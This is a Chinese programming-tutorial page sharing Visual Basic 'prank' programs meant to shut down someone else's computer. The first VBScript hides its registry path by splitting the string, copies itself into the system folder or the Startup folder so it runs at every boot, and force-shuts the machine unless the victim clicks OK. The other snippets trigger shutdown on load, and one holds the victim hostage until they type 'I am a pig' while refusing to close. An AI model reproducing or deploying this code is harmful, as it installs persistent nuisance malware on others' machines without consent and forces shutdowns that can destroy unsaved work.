手机
当前位置:查字典教程网 >编程开发 >vb >VB关机恶搞小程序
VB关机恶搞小程序
摘要:VB关机恶搞小程序一:Dimfs,dirwin,c,Wll,str,strr,rSetfs=CreateObject("Scripting....

VB关机恶搞小程序一:

Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject("WScript.Shell") Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionR"&"unwxb" if (fs.FileExists(dirwin&"wxb.vbs")) Then call Show_And_Do("reg") elseif (fs.FileExists("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs")) Then call Show_And_Do("Startup") else On Error Resume Next strr="" Wll.RegWrite str, "C:WINDOWSsystem32wxb.vbs", "REG_SZ" strr=Wll.Regread (str) if strr="" then c.Copy("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs") else c.Copy(dirwin&"wxb.vbs") end if end if sub Show_And_Do(s) dim f r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example") If r = 1 Then if s="Startup" then set f = fs.GetFile("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs") f.Delete() elseif s="reg" then Wll.RegDelete str set f = fs.GetFile(dirwin&"wxb.vbs") f.Delete() end if Else wll.run "Shutdown.exe -s -f -t 0" End If end sub

上面的有点复杂,那就来个稍微简单的

代码如下:

Option Explicit Const SM_CLEANBOOT = 67 Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long Private Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0) End Sub

当你可以采用一个更加简单的写法

直接输入以下代码即可:

Private Sub Form_Load() Shell "cmd /c shutdown -s -t 30" Rem 后面的 -t 0 表示0秒关机,如果去掉 -t 0 那么默认是30秒关机 End Sub

方法三:

Private Sub Command1_Click() If Text1 = "我是猪" Then Shell "cmd.exe /c shutdown -a" MsgBox "哈哈放过你吧!", 64, "提示" End End If End Sub Private Sub Form_Load() MsgBox "哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机", 48, "提示" Shell "cmd.exe /c shutdown -s -t " & 60, vbHide End Sub Private Sub Form_Unload(Cancel As Integer) g = MsgBox("想关掉我???", vbOKCancel + vbQuestion, "关闭窗口") If g = vbOK Then Cancel = 11 MsgBox "哈哈你关不掉我的快说我是猪吧", 64, "提示" End If If g = 2 Then Cancel = 11 End If End Sub

【VB关机恶搞小程序】相关文章:

VB简单实现防止文件被改写

VB读取线程、句柄及写入内存的API代码实例

VB语言使用ADO连接、操作SQLServer数据库教程

VB获取文件大小的方法

VB的32位程序在64位系统中出现文件和注册表自动转向的解决方法

VB实现的16位和32位md5加密代码分享

VB实现禁用任务管理器的方法

VB编程基础课教程

VB实现鼠标绘图实例代码

VB简易记事本实现代码

精品推荐
分类导航